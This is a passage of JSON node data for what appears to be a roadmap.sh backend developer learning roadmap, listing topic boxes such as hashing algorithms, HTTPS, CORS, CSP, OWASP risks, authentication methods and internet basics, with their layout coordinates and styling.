\"subtopic\",\n      \"position\": {\n        \"x\": -208.28187187824832,\n        \"y\": 3185.154679382818\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Instrumentation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"G9AI_i3MkUE1BsO3_-PH7\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 216,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -208.28187187824832,\n        \"y\": 3185.154679382818\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 216,\n      \"height\": 49,\n      \"id\": \"QvMEEsXh0-rzn5hDGcmEv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -208.28187187824832,\n        \"y\": 3238.154679382818\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Monitoring\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"qAu-Y4KI2Z_y-EqiG86cR\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 216,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -208.28187187824832,\n        \"y\": 3238.154679382818\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 216,\n      \"height\": 49,\n      \"id\": \"neVRtPjIHP_VG7lHwfah0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -208.28187187824832,\n        \"y\": 3291.154679382818\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Telemetry\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JansCqGDyXecQkD1K7E7e\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 216,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -208.28187187824832,\n        \"y\": 3291.154679382818\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 182,\n      \"height\": 49,\n      \"id\": \"uSLzfLPXxS5-P7ozscvjZ\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -348.56446376179997,\n        \"y\": 3479.686197134392\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DevOps\",\n        \"href\": \"https://roadmap.sh/devops\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"PkhQdVms2TGgnPrytCBPZ\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -348.56446376179997,\n        \"y\": 3479.686197134392\n      },\n      \"style\": {\n        \"width\": 182,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": true,\n      \"measured\": {\n        \"width\": 182,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 127,\n      \"height\": 49,\n      \"id\": \"jWwA6yX4Zjx-r_KpDaD3c\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -677.9907149506867,\n        \"y\": 969.3669598992026\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MD5\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WQkKdXwjbqov8KLR4Bn20\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 127,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -677.9907149506867,\n        \"y\": 969.3669598992026\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 127,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 127,\n      \"height\": 49,\n      \"id\": \"JVN38r5jENoteia3YeIQ3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -677.9907149506867,\n        \"y\": 1022.3669598992026\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SHA\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dlG1bVkDmjI3PEGpkm1xH\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 127,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -677.9907149506867,\n        \"y\": 1022.3669598992026\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 127,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 127,\n      \"height\": 49,\n      \"id\": \"kGTALrvCpxyVCXHRmkI7s\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -677.9907149506867,\n        \"y\": 1075.3669598992026\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"scrypt\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dlG1bVkDmjI3PEGpkm1xH\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 127,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -677.9907149506867,\n        \"y\": 1075.3669598992026\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 127,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 127,\n      \"height\": 49,\n      \"id\": \"dlG1bVkDmjI3PEGpkm1xH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -677.9907149506867,\n        \"y\": 1128.3669598992026\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"bcrypt\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"TJaO2ePry2wrNVasuj2me\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 127,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -677.9907149506867,\n        \"y\": 1128.3669598992026\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 127,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 100,\n      \"height\": 49,\n      \"id\": \"x-WBJjBd8u93ym5gtxGsR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -669.5751497955148,\n        \"y\": 1272.2970643279607\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HTTPS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kGTALrvCpxyVCXHRmkI7s\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -669.5751497955148,\n        \"y\": 1272.2970643279607\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 172,\n      \"height\": 49,\n      \"id\": \"AAgciyxuDvS2B_c6FRMvT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -565.0513961705788,\n        \"y\": 1271.0941953615754\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"OWASP Risks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dlG1bVkDmjI3PEGpkm1xH\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 172,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -565.0513961705788,\n        \"y\": 1271.0941953615754\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 172,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 172,\n      \"height\": 49,\n      \"id\": \"0v3OsaghJEGHeXX0c5kqn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -565.3262735265625,\n        \"y\": 1324.0941953615754\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SSL/TLS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"AAgciyxuDvS2B_c6FRMvT\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 172,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -565.3262735265625,\n        \"y\": 1324.0941953615754\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 172,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 100,\n      \"height\": 49,\n      \"id\": \"LU6WUbkWKbPM1rb2_gEqa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -669.5751497955148,\n        \"y\": 1325.384228647431\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CORS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"x-WBJjBd8u93ym5gtxGsR\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -669.5751497955148,\n        \"y\": 1325.384228647431\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 172,\n      \"height\": 49,\n      \"id\": \"TZ0BWOENPv6pQm8qYB8Ow\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -564.5736631469481,\n        \"y\": 1377.0941953615754\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Server Security\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0v3OsaghJEGHeXX0c5kqn\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 172,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -564.5736631469481,\n        \"y\": 1377.0941953615754\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 172,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 100,\n      \"height\": 49,\n      \"id\": \"HgQBde1zLUFtlwB66PR6_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -669.5751497955148,\n        \"y\": 1378.384228647431\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CSP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LU6WUbkWKbPM1rb2_gEqa\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -669.5751497955148,\n        \"y\": 1378.384228647431\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 277,\n      \"height\": 49,\n      \"id\": \"sSG9zK0ZGTBSk-nFIOq8A\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -670.3002857382692,\n        \"y\": 1436.3954217340697\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"API Security Best Practices\",\n        \"href\": \"https://roadmap.sh/best-practices/api-security\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136d4\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -670.3002857382692,\n        \"y\": 1436.3954217340697\n      },\n      \"style\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 102,\n      \"id\": \"LEijbLyxg4RyutKEM2Y5g\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -204.08230823147517,\n        \"y\": -220.42445334555111\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#0A33FF\"\n        },\n        \"oldId\": \"xD07fJ1NmNeAarVCEfubU\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -204.08230823147517,\n        \"y\": -220.42445334555111\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 102\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 102\n      }\n    },\n    {\n      \"id\": \"qN-6iiXWgn5qSzK3o0Tjo\",\n      \"type\": \"legend\",\n      \"position\": {\n        \"x\": -714.8814218617622,\n        \"y\": -274.09541222709834\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"legends\": [\n          {\n            \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n            \"color\": \"#874efe\",\n            \"label\": \"Personal Recommendation / Opinion\"\n          },\n          {\n            \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n            \"label\": \"Alternative Option / Pick this or purple\",\n            \"color\": \"#4f7a28\"\n          },\n          {\n            \"id\": \"R9WLhURhPdVNXP7AUTDvR\",\n            \"label\": \"Order not strict / Learn anytime\",\n            \"color\": \"#929292\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 354,\n      \"height\": 124,\n      \"positionAbsolute\": {\n        \"x\": -714.8814218617622,\n        \"y\": -274.09541222709834\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 354,\n        \"height\": 124\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -14.502815208049242,\n        \"y\": -270.15106699547107\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": -14.502815208049242,\n        \"y\": -270.15106699547107\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -1.2994407952490974,\n        \"y\": -188.1655035777258\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -1.2994407952490974,\n        \"y\": -188.1655035777258\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MfErpYwkJ0wiWJZEUVfrb\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -714.8814218617622,\n        \"y\": -135.72969257809785\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Visit Beginner Friendly Version\",\n        \"href\": \"/backend?r=backend-beginner\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#232323\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 352,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 352,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -714.8814218617622,\n        \"y\": -135.72969257809785\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 352,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 278,\n      \"height\": 49,\n      \"id\": \"yCnn-NfSxIybUQ2iTuUGq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 64.19732720359934,\n        \"y\": -72.29269649784797\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"How does the internet work?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"idLHBxhvcIqZTqmh_E8Az\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 64.19732720359934,\n        \"y\": -72.29269649784797\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 278,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 278,\n      \"height\": 49,\n      \"id\": \"R12sArWVpbIs_PHxBqVaR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 64.19732720359934,\n        \"y\": -18.29269649784797\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"What is HTTP?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"os3Pa6W9SSNEzgmlBbglQ\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 64.19732720359934,\n        \"y\": -18.29269649784797\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 278,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 278,\n      \"height\": 49,\n      \"id\": \"ZhSuu2VArnzPDp6dPQQSC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 64.19732720359934,\n        \"y\": 35.70730350215206\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"What is Domain Name?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3oInpqvTSSC5_K6i7j8N7\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 64.19732720359934,\n        \"y\": 35.70730350215206\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 278,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 278,\n      \"height\": 49,\n      \"id\": \"aqMaEY8gkKMikiqleV5EP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 64.19732720359934,\n        \"y\": 89.70730350215206\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"What is hosting?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gRjFXRwpOwoyd15PHVpdB\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 64.19732720359934,\n        \"y\": 89.70730350215206\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 278,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 278,\n      \"height\": 49,\n      \"id\": \"hkxw9jPGYphmjhTjw8766\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 64.19732720359934,\n        \"y\": 143.70730350215206\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DNS and how it works?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YKhuRbcUFzo0hTvuTq-Yl\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 64.19732720359934,\n        \"y\": 143.70730350215206\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 278,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 278,\n      \"height\": 49,\n      \"id\": \"P82WFaTPgQEPNp5IIuZ1Y\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 64.19732720359934,\n        \"y\": 197.70730350215206\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Browsers and how they work?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CPRpuk76c9-wuIffEfu87\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 64.19732720359934,\n        \"y\": 197.70730350215206\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 278,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 289,\n      \"height\": 49,\n      \"id\": \"PY9G7KQy8bF6eIdr1ydHf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 51.5678836929921,\n        \"y\": 647.9126418589183\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Authentication\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"lfNFDZZNdrB0lbEaMtU71\"\n      },\n      \"style\": {\n        \"width\": 289,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 51.5678836929921,\n        \"y\": 647.9126418589183\n      },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 124,\n      \"height\": 49,\n      \"id\": \"UxS_mzVUjLigEwKrXnEeB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 71.54739402688512,\n        \"y\": 708.5986472065365\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"JWT\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PY9G7KQy8bF6eIdr1ydHf\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 71.54739402688512,\n        \"y\": 708.5986472065365\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 255,\n      \"height\": 49,\n      \"id\": \"yRiJgjjv2s1uV9vgo3n8m\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 71.54739402688512,\n        \"y\": 761.5986472065365\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Basic Authentication\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"UxS_mzVUjLigEwKrXnEeB\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 255,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 71.54739402688512,\n        \"y\": 761.5986472065365\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 255,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 255,\n      \"height\": 49,\n      \"id\": 